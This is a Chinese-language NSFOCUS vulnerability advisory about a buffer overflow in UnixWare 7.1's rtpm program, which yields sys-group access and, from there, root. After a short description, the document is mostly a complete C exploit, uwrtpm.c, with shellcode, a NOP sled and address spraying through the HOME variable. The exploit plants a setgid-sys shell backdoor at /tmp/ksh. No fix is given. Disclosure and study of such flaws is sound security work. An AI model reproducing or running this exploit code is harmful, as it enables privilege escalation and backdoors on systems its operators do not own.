首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第5期->最新漏洞
期刊号: 类型: 关键词:
UnixWare rtpm安全漏洞

主页:http://www.nsfocus.com/
日期:1999-12-14

发布日期: 2000-1-3
更新日期: 2000-1-3
受影响的系统:  UnixWare 7.1
--------------------------------------------------------------------------------
描述:

    Unixware在管理口令数据库方面与Linux/BSD/Solaris等系统有所不同。除了常规的
/etc/passwd和/etc/shadow文件外,Unixware还在/etc/security/ia/master和
/etc/security/ia/omaster中保存这些文件的拷贝。这两个二进制文件以与/etc/passwd和
/etc/shadow不同的格式存放数据。Unixware C函数可以访问这些数据。Unixware系统中某
些认证程序,如i2odialog守护程序,就使用这些文件,而不使用/etc/shadow文件。
    当允许"sys"组读取这个数据库时,将带来安全漏洞。如果系统没有setgid sys的程序,
就不会有安全问题,但Unixware的拥有者/组机制非常依赖这个组:/dev/*mem*允许sys组读
取(而没有单独的kmem组);许多重要和关键目录,如/sbin,允许sys组写;
/etc/security/tcb/privs数据库(用于控制非suid/sgid程序获取附加权限)也允许sys组
写。依此类推,许多需要访问/dev/kmem或系统配置文件的程序都必须sgid sys(而不能
sgid/suid到其它组)。一旦发现了存在可攻击的sgid sys程序,几乎就可以完全控制整个
系统了。

    /usr/sbin/rtpm就是一个存在缓冲区溢出(获取sys组权限)的程序。利用它的漏洞,
攻击者可以从/etc/security/ia/master文件中抓取加密口令,或在
/etc/security/tcb/privs文件中插入shell。这些方法都不难获得root权限。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

    注意:rtpm是一个ASCII GUI程序,它会使终端乱码。如果这不能正常退出,系统中会
留下一个不可用的会话。因此,这个测试程序将产生/tmp/ksh (sgid sys) 后门,然后退
出。在运行测试程序后,可能需要强行退出登录(exit命令可能不起作用),然后再登录
进去获得sys权限。

/**
** uwrtpm.c - UnixWare 7.1 rtpm exploit
**
**
** Drops a setgid sys shell in /tmp/ksh.  We can't exec a shell because
** rtpm screws up our terminal when it exits abnormally.  After running
** this exploit, you must forcefully exit your shell and re-login to exec
** your sys shell.
**
** cc -o uwrtpm uwrtpm.c; ./rtpm <offset>
** use offsets of +-100
**
** Brock Tellier btellier@usa.net
**   
**/


#include <stdlib.h>
#include <stdio.h>

char scoshell[]=
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/rt\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#define ALIGN 3                        
#define LEN 1100
#define NOP 0x90
#define SYSSHELL "void main() {setregid(3,3);system(\"cp /bin/ksh \
/tmp/ksh; chgrp sys /tmp/ksh; chmod 2555 /tmp/ksh\"); } "

void buildrt() {
  FILE *fp;
  char cc[100];
  fp = fopen("/tmp/rt.c", "w");

  fprintf(fp, SYSSHELL);

  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/rt /tmp/rt.c");
  system(cc);

}


int main(int argc, char *argv[]) {

long int offset=0;

int i;
int buflen = LEN;
long int addr;
char buf[LEN];

if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
   offset=atoi(argv[1]);
   
}
else if (argc == 3) {
  offset=atoi(argv[1]);
  buflen=atoi(argv[2]);
   
}
else {
   offset=0;
   buflen=1100;

}

buildrt();
addr=0x8046a01 + offset;

fprintf(stderr, "\nUnixWare 7.1 rtpm exploit drops a setgid sys shell ");
fprintf(stderr, "in /tmp/ksh\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+ALIGN;i<buflen-4;i+=4)
*(int *)&buf[i]=addr;

memcpy(buf, "HOME=", 5);
buf[buflen - 1] = 0;
putenv(buf);
execl("/usr/sbin/rtpm", "rtpm", NULL);

exit(0);
}

--------------------------------------------------------------------------------
建议:

    暂无。
版权所有,未经许可,不得转载